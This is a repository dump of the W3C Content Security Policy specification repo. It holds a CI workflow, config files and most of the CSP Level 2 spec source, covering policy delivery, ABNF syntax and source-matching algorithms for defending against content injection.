Repository: w3c/webappsec-csp Branch: main Commit: 0051d1622636 Files: 45 Total size: 3.4 MB Directory structure: gitextract_6wec4yj9/ ├── .github/ │ └── workflows/ │ └── auto-publish.yml ├── .gitignore ├── .pr-preview.json ├── 2/ │ ├── index.bs │ └── published/ │ ├── 2015-02-CR.html │ ├── 2015-07-CR.html │ ├── 2015-08-PR.html │ ├── 2016-11-PR.html │ └── default.css ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE.md ├── Makefile ├── README.md ├── WD.html ├── api/ │ └── index.bs ├── cookies/ │ ├── Makefile │ ├── index.bs │ └── published/ │ └── FPWD.html ├── document/ │ ├── Makefile │ └── index.bs ├── iana/ │ ├── Makefile │ ├── draft-west-webappsec-csp-reg-00.html │ ├── draft-west-webappsec-csp-reg-00.txt │ ├── draft-west-webappsec-csp-reg-01.html │ ├── draft-west-webappsec-csp-reg-01.txt │ ├── draft-west-webappsec-csp-reg-02.html │ ├── draft-west-webappsec-csp-reg-02.txt │ ├── draft-west-webappsec-csp-reg-03.html │ ├── draft-west-webappsec-csp-reg-03.txt │ ├── draft-west-webappsec-csp-reg-04.html │ ├── draft-west-webappsec-csp-reg-04.txt │ ├── draft.md │ └── rfc7762.xml ├── index.bs ├── pinning/ │ ├── index.bs │ └── published/ │ ├── 2015-02-FPWD.html │ └── default.css ├── published/ │ ├── 2012-11-15-CSP-1-0-CR.html │ ├── 2014-02-04-CSP-1-1-WD.html │ ├── 2014-07-03-CSP-2-LCWD.html │ ├── 2014-09-03-CSP-2-CR.html │ ├── FPWD-2015-01.html │ └── default.css └── w3c.json ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/workflows/auto-publish.yml ================================================ name: CI on: pull_request: {} push: branches: [main] jobs: main: name: Build, Validate, and Publish runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v2 - uses: w3c/spec-prod@v2 with: GH_PAGES_BRANCH: gh-pages BUILD_FAIL_ON: link-error W3C_ECHIDNA_TOKEN: ${{ secrets.ECHIDNA_TOKEN }} W3C_WG_DECISION_URL: https://lists.w3.org/Archives/Public/public-webappsec/2015Mar/0170.html W3C_BUILD_OVERRIDE: | Shortname: CSP3 Status: WD ================================================ FILE: .gitignore ================================================ index.html ================================================ FILE: .pr-preview.json ================================================ { "src_file": "index.bs", "type": "bikeshed", "params": { "force": 1 } } ================================================ FILE: 2/index.bs ================================================

Content Security Policy Level 2

Status: ED
ED: https://w3c.github.io/webappsec/specs/CSP2/
TR: http://www.w3.org/TR/CSP2/
Previous Version: http://www.w3.org/TR/2014/WD-CSP2-20140703/
Previous Version: http://www.w3.org/TR/2014/WD-CSP11-20140211/
Previous Version: http://www.w3.org/TR/2012/CR-CSP-20121115/
Shortname: CSP2
Level: 2
Editor: Mike West 56384, Google Inc., mkwst@google.com
Editor: Adam Barth 39502, Google Inc., w3c@adambarth.com
Editor: Dan Veditz 41156, Mozilla Corporation, dveditz@mozilla.com
Former Editor: Brandon Sterne, formerly of Mozilla Corporation, brandon@hackmill.com
Abstract: This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.
Group: webappsec
Link Defaults: dom-core-ls (interface) event
Indent: 2
Markup Shorthands: css off
type: dfn
  urlPrefix: http://www.w3.org/TR/html5/
    urlPrefix: document-metadata.html
      text: pragma directives
    urlPrefix: dom.html
      text: fallback content
      text: the document's address; url: the-document's-address
    urlPrefix: embedded-content-0.html
      text: an iframe srcdoc document
    urlPrefix: browsers.html
      text: active document
      text: parse a sandboxing directive
      text: forced sandboxing flag set
      text: ascii serialization of an origin
      text: auxiliary browsing context
      text: browsing context
      text: ancestor browsing context
      text: browsing context container
      text: child browsing context
      text: creating a new Document object
      text: navigated; url: navigate
      text: nested browsing context
      text: nested through; url: browsing-context-nested-through
      text: opener browsing context
      text: plugin document
      text: sandboxed origin browsing context flag
      text: sandboxing flag set
      text: top-level browsing context; url: top-level-browsing-context
    urlPrefix: infrastructure.html
      text: fragment; url: concept-url-fragment
      text: fetch
      text: document base url
      text: plugin
      text: reflect
      text: securityerror
      text: mime type
      text: strictly split a string
      text: skip whitespace
      text: collect a sequence of characters
      text: space characters; url: space-character
      text: javascript global environment
      text: split a string on spaces
      text: strip leading and trailing whitespace
      text: firing; url: concept-event-fire
      text: ascii case-insensitive match; url: ascii-case-insensitive
    urlPrefix: links.html
      text: icon; url: rel-icon
      text: link type stylesheet
    urlPrefix: scripting-1.html
      text: the script block's source; url: the-script-block's-source
    urlPrefix: webappapis.html
      text: queue a task
      text: task source
      text: tasks; url: concept-task
      text: incumbent settings object
      text: relevant settings object for a script
      text: responsible document
  urlPrefix: http://www.w3.org/TR/cssom/
    text: insert a css rule
    text: parse a css declaration block
    text: parse a css rule
    text: parse a group of selectors
  urlPrefix: http://www.w3.org/TR/url/
    text: default port
    text: host; url: concept-url-host
    text: origin of a url; url: concept-url-origin
    text: path; url: concept-url-path
    text: percent decode
    text: percent encode
    text: port; url: concept-url-port
    text: scheme; url: concept-url-scheme
    text: url parser; url: concept-url-parser
    text: ipv6 address; url: concept-ipv6
  urlPrefix: http://www.w3.org/TR/CSS21/conform.html
    text: style sheet
  urlPrefix: https://tools.ietf.org/html/rfc3986
    text: IPv4address; url: section-3.2.2
type: element
  urlPrefix: http://www.w3.org/TR/html5/
    urlPrefix: document-metadata.html
      text: base; url: the-base-element
      text: head; url: the-head-element
      text: link; url: the-link-element
      text: meta; url: the-meta-element
      text: style; url: the-style-element
    urlPrefix: embedded-content-0.html
      text: audio; url: the-audio-element
      text: embed; url: the-embed-element
      text: iframe; url: the-iframe-element
      text: img; url: the-img-element
      text: object; url: the-object-element
      text: video; url: the-video-element
      text: source; url: the-source-element
      text: track; url: the-track-element
    urlPrefix: scripting-1.html
      text: script; url: the-script-element
    urlPrefix: forms.html
      text: form; url: the-form-element
      text: input; url: the-input-element
    urlPrefix: obsolete.html
      text: applet; url: the-applet-element
      text: frame
  urlPrefix: http://www.w3.org/TR/SVG2/struct.html
    text: svg; url: SVGElement
type: element-attr
  urlPrefix: http://www.w3.org/TR/html5/
    urlPrefix: document-metadata.html
      text: href; for: link; url: attr-link-href
      text: rel; for: link; url: attr-link-rel
      text: http-equiv; for: meta; url: attr-meta-http-equiv
      text: content; for: meta; url: attr-meta-content
    urlPrefix: links.html
      text: icon; for: link; url: rel-icon
    urlPrefix: embedded-content-0.html
      text: type; for: object; url: attr-object-type
      text: src; for: img; url: attr-img-src
      text: src; for: video; url: attr-media-src
      text: src; for: embed; url: attr-embed-src
      text: sandbox; for: iframe; url: attr-iframe-sandbox
      text: srcdoc; for: iframe; url: attr-iframe-srcdoc
      text: poster; for: video; url: attr-video-poster
      text: data; for: object; url: attr-object-data
    urlPrefix: browsers.html
      text: allow-forms; for: iframe; url: attr-iframe-sandbox-allow-forms
      text: allow-pointer-lock; for: iframe; url: attr-iframe-sandbox-allow-pointer-lock
      text: allow-popups; for: iframe; url: attr-iframe-sandbox-allow-popups
      text: allow-top-navigation; for: iframe; url: attr-iframe-sandbox-allow-top-navigation
      text: allow-scripts; for: iframe; url: attr-iframe-sandbox-allow-scripts
      text: allow-same-origin; for: iframe; url: attr-iframe-sandbox-allow-same-origin
    urlPrefix: forms.html
      text: image; for: input; url: attr-input-type-image-keyword
      text: src; for: input; url: attr-input-src
    urlPrefix: obsolete.html
      text: code; for: applet; url: dom-applet-code
      text: archive; for: applet; url: dom-applet-archive
    urlPrefix: scripting-1.html
      text: src; for: script; url: attr-script-src
type: function
  urlPrefix: http://www.w3.org/TR/CSS21/syndata.html
    text: url(); url: uri
urlPrefix: http://www.w3.org/TR/dom/
  type: attribute
    text: textContent; for: Node; url: dom-node-textcontent
  type: interface
    text: Document; url: interface-document
type: attribute
  urlPrefix: http://www.w3.org/TR/html5/
    urlPrefix: dom.html
      text: referrer; for: Document; url: dom-document-referrer
type: interface
  urlPrefix: https://fetch.spec.whatwg.org/
    text: Request
  urlPrefix: http://www.w3.org/TR/url/
    text: URL; url: dom-url
  urlPrefix: https://heycam.github.io/webidl/
    text: long; url: idl-long
  urlPrefix: http://www.w3.org/TR/html5/
    urlPrefix: document-metadata.html
      text: HTMLStyleElement
    urlPrefix: scripting-1.html
      text: HTMLScriptElement
  urlPrefix: http://www.w3.org/TR/dom/
    text: Event
    text: EventInit
type: method
  urlPrefix: http://www.w3.org/TR/html5/
    urlPrefix: webappapis.html
      text: setTimeout(); for: WindowTimers; url: dom-windowtimers-settimeout
      text: setInterval(); for: WindowTimers; url: dom-windowtimers-setinterval
{
  "URL": {
    "authors": [ "Anne van Kesteren", "Sam Ruby" ],
    "title": "URL",
    "href": "http://www.w3.org/TR/url/",
    "status": "WD",
    "publisher": "W3C"
  },
  "HTML5": {
    "authors": [ "Ian Hickson", "Robin Berjon", "Steve Faulkner", "Travis Leithead", "Erika Doyle Navera", "Edward O'Connor", "Silvia Pfeiffer" ],
    "title": "HTML5",
    "href": "http://www.w3.org/TR/html5/",
    "status": "REC",
    "publisher": "W3C"
  },
  "FIPS180": {
    "title": "FIPS-180-4",
    "href": "http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf"
  }
}

Introduction

This section is not normative. This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources. To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker. Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output. There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker. To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

Changes from Level 1

This document describes an evolution of the Content Security Policy specification. Level 2 makes two breaking changes from Level 1, and adds support for a number of new directives and capabilities which are summarized below:
  1. The following changes are backwards incompatible with the majority of user agent's implementations of Level 2:
    1. The path component of a source expression is now ignored if the resource being loaded is the result of a redirect, as described in [[#source-list-paths-and-redirects]]. Note: Paths are technically new in Level 2, but they were already implemented in many user agents before this revision of CSP was completed, so noting the change here seems reasonable.
    2. A protected resource's ability to load Workers [[!WORKERS]] is now controlled via child-src rather than script-src.
    3. Workers now have their own policy, separate from the protected resource which loaded them. This is described in [[#processing-model-workers]].
  2. The following directives are brand new in this revision:
    1. base-uri controls the protected resource's ability to specify the document base URL.
    2. child-src deprecates and replaces frame-src, controlling the protected resource's ability to embed frames, and to load Workers.
    3. form-action controls the protected resource's ability to submit forms.
    4. frame-ancestors controls the protected resource's ability be embedded in other documents. It is meant to supplant the X-Frame-Options HTTP request header. [[!RFC7034]]
    5. plugin-types controls the protected resource's ability to load specific types of plugins.
  3. Individual inline scripts and stylesheets may be whitelisted via nonces (as described in [[#source-list-valid-nonces]]) and hashes (as described in [[#source-list-valid-hashes]]).
  4. A {{SecurityPolicyViolationEvent}} is fired upon violations, as described in [[#firing-securitypolicyviolationevent-events]].
  5. A number of new fields were added to violation reports (both those POSTED via report-uri, and those handed to the DOM via {{SecurityPolicyViolationEvent}} events. These include {{SecurityPolicyViolationEvent/effectiveDirective}}, {{SecurityPolicyViolationEvent/statusCode}}, {{SecurityPolicyViolationEvent/sourceFile}}, {{SecurityPolicyViolationEvent/lineNumber}}, and {{SecurityPolicyViolationEvent/columnNumber}}.
  6. Certain flags present in the sandbox directive now affect Worker creation, as described in [[#sandboxing-and-workers]].

Key Concepts and Terminology

Terms defined by this specification

security policy
security policy directive
security policy directive name
security policy directive value
A security policy refers to both a set of security preferences for restrictions within which content can operate, and to a fragment of text that codifies or transmits these preferences. For example, the following string is a policy which restricts script and object content:
script-src 'self'; object-src 'none'
Security policies contain a set of security policy directives (script-src and object-src in the example above), each responsible for declaring the restrictions for a particular resource type, or manipulating a specific aspect of the policy's restrictions. The list of directives defined by this specification can be found in [[#directives]]. Each directives has a name and a value; value may be optional for some directives. A detailed grammar can be found in [[#syntax-and-algorithms]].
protected resource
A security policy is applied by a user agent to a specific resource representation, known as the protected resource. See [[#policy-delivery]] for details regarding the mechanisms by which policies may be applied to a protected resource.

Terms defined by reference

globally unique identifier
Defined in Section 2.3 of the Origin specification. [[!RFC6454]] NOTE: URLs which do not use hierarchical elements as naming authorities (data:, for instance) have origins which are globally unique identifiers.
HTTP 200 response
Defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content. [[!RFC7231]]
JSON object
JSON stringification
Defined in the JSON specification. [[!RFC4627]]
origin
Defined by the Origin specification. [[!RFC6454]]
resource representation
Defined in Section 3 of HTTP/1.1 -- Semantics and Content. [[!RFC7231]]
URL
Defined by [[!URL]].
SHA-256
SHA-384
SHA-512
These digest algorithms are defined by the NIST. [[!FIPS180]]

Relevant Concepts from HTML

The <{applet}>, <{audio}>, <{embed}>, <{iframe}>, <{img}>, <{link}>, <{object}>, <{script}>, <{source}>, <{track}>, and <{video}> are defined in [[!HTML5]]. The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [[!HTML5]] A plugin is defined in the HTML5 specification. [[!HTML5]] The <<@font-face>> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [[!CSS3-FONTS]] The XMLHttpRequest object is defined in the XMLHttpRequest specification. [[!XMLHTTPREQUEST]] The WebSocket object is defined in the WebSocket specification. [[!WEBSOCKETS]] The EventSource object is defined in the EventSource specification. [[!EVENTSOURCE]] The runs a worker algorithm is defined in the Web Workers spec. [[!WORKERS]] The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [[!WEBIDL]].

Grammatical Concepts

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [[!ABNF]] This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [[!RFC7230]] The following core rules are included by reference, as defined in Appendix B.1 of [[!ABNF]]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

Policy Delivery

The server delivers a policy to the user agent via an HTTP response header (defined in [[#content-security-policy-header-field]] and [[#content-security-policy-report-only-header-field]]) or an HTML <{meta}> element (defined in [[#delivery-html-meta-element]]).

Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy. The grammar is as follows:
      "Content-Security-Policy:" 1#policy-token
    
For example, a response might include the following header field:
Content-Security-Policy: script-src 'self'
A server MUST NOT send more than one HTTP header field named Content-Security-Policy with a given resource representation. A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources. Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy. The grammar is as follows:
      "Content-Security-Policy-Report-Only:" 1#policy-token
    
For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:
        Content-Security-Policy-Report-Only: script-src 'self';
                                             report-uri /csp-report-endpoint/
      
If their site violates this policy the user agent will send violation reports to the URL specified in the policy's report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field. A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation. A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources. Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field. Note: The Content-Security-Policy-Report-Only header is not supported inside a <{meta}> element.

HTML <{meta}> Element

The server MAY supply policy via one or more HTML <{meta}> elements with <{meta/http-equiv}> attributes that are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:
      <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
    
Add the following entry to the pragma directives for the <{meta}> element:
Content security policy (http-equiv="content-security-policy")
  1. If the Document's <{head}> element is not an ancestor of the <{meta}> element, abort these steps.
  2. If the <{meta}> element lacks a <{meta/content}> attribute, abort these steps.
  3. Let policy be the value of the <{meta/content}> attribute of the <{meta}> element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of report-uri, frame-ancestors, and sandbox directives from directive-set. Note: User agents are encouraged to issue a warning to developers if one or more of these directives are included in a policy delivered via <{meta}>.
  6. Enforce each of the directives in directive-set, as defined for each directive type.
Authors are strongly encouraged to place <{meta}> elements as early in the document as possible, because policies in <{meta}> elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using <{link}> and <{script}> elements which precede a <{meta}>-delivered policy will not be blocked. Note: A policy specified via a <{meta}> element will be enforced along with any other policies active for the protected resource, regardless of where they're specified. The general impact of enforcing multiple policies is described in [[#enforcing-multiple-policies]]. Note: Modifications to the <{meta/content}> attribute of a <{meta}> element after the element has been parsed will be ignored. Note: The Content-Security-Policy-Report-Only header is not supported inside a <{meta}> element.

Enforcing multiple policies

This section is not normative. The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:
      Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                               connect-src 'none';
      Content-Security-Policy: connect-src http://example.com/;
                               script-src http://example.com/
    
Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource. To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy's criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

Policy applicability

This section is not normative. Policies are associated with an protected resource, and enforced or monitored for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:
Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource applies.
SVG, as a top-level document The policy delivered with the resource applies.
Embedded Contexts Any resource included via <{iframe}>, <{object}>, or <{embed}> Unless the embedded resource is a globally unique identifier (or a srcdoc iframe), the embedded resource is controlled by the policy delivered with the resource. If the embedded resource is a globally unique identifier or srcdoc iframe, it inherits the policy of the context creating it. (The frame-src and child-src directives of the embedding context only control what resources are eligible for embedding in that context, not the behavior of the resource once embedded.)
SVG, as an embedded document Unless the resource is a globally unique identifier, it is controlled by the policy delivered with the resource. If a globally unique identifier, it inherits the policy of the context creating it.
JavaScript, as a Worker, Shared Worker, or Service Worker Unless the resource is a globally unique identifier, it is controlled by the policy delivered with the resource. If a globally unique identifier, it inherits the policy of the context creating it.
Subresources SVG, inlined via <{svg}> The policy of the including context applies.
SVG, as a resource document The policy of the including context applies.
HTML via XMLHttpRequest The policy of the context that performed the fetch applies.
Image via <{img}> element The policy of the including context applies.
JavaScript via a <{script}> element The policy of the including context applies.
SVG, via <{img}> No policy applies; this should be just as safe as JPG
SVG, as a WebFont No policy applies; this should be just as safe as WOFF

Syntax and Algorithms

Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:
      policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
      directive-token = *WSP [ directive-name [ WSP directive-value ] ]
      directive-name  = 1*( ALPHA / DIGIT / "-" )
      directive-value = *( WSP / <VCHAR except ";" and ","> )
    

Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:
  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below. Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URLs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.
      source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                        / *WSP "'none'" *WSP
      source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
      scheme-source     = scheme-part ":"
      host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
      keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
      base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
      nonce-value       = base64-value
      hash-value        = base64-value
      nonce-source      = "'nonce-" nonce-value "'"
      hash-algo         = "sha256" / "sha384" / "sha512"
      hash-source       = "'" hash-algo "-" hash-value "'"
      scheme-part       = <scheme production from RFC 3986, section 3.1>
      host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
      host-char         = ALPHA / DIGIT / "-"
      path-part         = <path production from RFC 3986, section 3.3>
      port-part         = ":" ( 1*DIGIT / "*" )
    
If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and generated via a cryptographically secure random number generator. This requirement ensures that the nonce-value is difficult for an attacker to predict. Note: Using a nonce to whitelist inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead. The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [[!RFC3492]]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de. NOTE: Though IP addresses do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see [[#match-source-expression]] for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames to IP addresses whenever possible.

Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:
  1. Strip leading and trailing whitespace from source list.
  2. If source list is an ASCII case-insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.
Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you'd like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

Matching Source Expressions

A URL url is said to match a source expression for a protected resource if the following algorithm returns does match:
  1. Let url be the result of processing the URL through the URL parser.
  2. If the source expression consists of a single U+002A ASTERISK character (*), and url's scheme is not one of blob, data, filesystem, then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If url's scheme is an ASCII case-insensitive match for the source expression's scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If url's host is null, return does not match.
    2. Let url-scheme, url-host, and url-port be the scheme, host, and port of url's origin, respectively. Note: If url doesn't specify a port, then its origin's port will be the default port for url's scheme.
    3. Let url-path-list be the path of url.
    4. If the source expression has a scheme-part that is not a case insensitive match for url-scheme, then return does not match.
    5. If the source expression does not have a scheme, return does not match if any of the following are true:
      1. The scheme of the protected resource's URL is a case insensitive match for HTTP, and url-scheme is not a case insensitive match for either HTTP or HTTPS.
      2. The scheme of the protected resource's URL is not a case insensitive match for HTTP, and url-scheme is not a case insensitive match for the scheme of the protected resource's URL.
    6. If the first character of the source expression's host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of url-host, then return does not match.
    7. If the first character of the source expression's host-part is not an U+002A ASTERISK character (*) and url-host is not a case insensitive match for the source expression's host-part, then return does not match.
    8. If the source expression's host-part matches the IPv4address production from [[!RFC3986]], and is not 127.0.0.1, or is an IPv6 address, return does not match. Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.
    9. If the source expression does not contain a port-part and url-port is not the default port for url-scheme, then return does not match.
    10. If the source expression does contain a port-part, then return does not match if both of the following are true:
      1. The port-part does not contain an U+002A ASTERISK character. (*)
      2. The port-part does not represent the same number as url-port.
    11. If the source expression contains a non-empty path-part, and the URL is not the result of a redirect, then:
      1. Let exact-match be true if the final character of path-part is not the U+002F SOLIDUS character (/), and false otherwise.
      2. Let source-expression-path-list be the result of splitting path-part on the U+002F SOLIDUS character (/).
      3. If source-expression-path-list's length is greater than url-path-list's length, return does not match.
      4. For each entry in source-expression-path-list:
        1. Percent decode entry.
        2. Percent decode the first item in url-path-list.
        3. If entry is not an ASCII case-insensitive match for the first item in url-path-list, return does not match.
        4. Pop the first item in url-path-list off the list.
      5. If exact-match is true, and url-path-list is not empty, return does not match.
    12. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the origin of url matches the origin of protected resource's URL. Note: This includes IP addresses. That is, a document at https://111.111.111.111/ with a policy of img-src 'self' can load the image https://111.111.111.111/image.png, as the origins match.
  6. Otherwise, return does not match.
Note: This algorithm treats the URLs https://example.com/ and https://example.com./ as non-matching. This is consistent with browser behavior which treats documents served from these URLs as existing in distinct origins. A URL url is said to match a source list for protected resource if at least one source expression in the set of source expressions obtained by parsing the source list matches url for protected resource. Note: No URLs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.
Security Considerations for GUID URL schemes
This section is not normative. As defined above, special URL schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URLs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URLs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URLs is equivalent to unsafe-eval.
Path Matching
This section is not normative. The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:
  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.
Note: Query strings have no impact on matching: the source expression example.com/file matches each of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.
Paths and Redirects
To avoid leaking path information cross-origin (as discussed in Egor Homakov's Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:
  • Directly loading https://not-example.com/not-path would fail, as it doesn't match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.
This restriction reduces the granularity of a document's policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type. The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

The nonce attribute

Nonce sources require a new nonce attribute to be added to both <{script}> and <{style}> elements.
        partial interface HTMLScriptElement {
          attribute DOMString nonce;
        };
      
nonce
This attribute reflects the value of the element's nonce content attribute.
        partial interface HTMLStyleElement {
          attribute DOMString nonce;
        };
      
nonce
This attribute reflects the value of the element's nonce content attribute.

Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element's <{script/nonce}> attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

Valid Hashes

An element's content is the script block's source for <{script}> elements, or the value of the element's {{Node/textContent}} IDL attribute for non-<{script}> elements such as <{style}>. The digest of element's content for is the result of applying an hashing algorithm to the element's content. To determine whether element has a valid hash for a set of source expressions, execute the following steps:
  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let hashing algorithm be:
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element's content using the hashing algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.
Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

Media Type List Syntax

The plugin-types directive uses a value consisting of a media type list. Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.
      media-type-list   = media-type *( 1*WSP media-type )
      media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>
    

Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:
  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
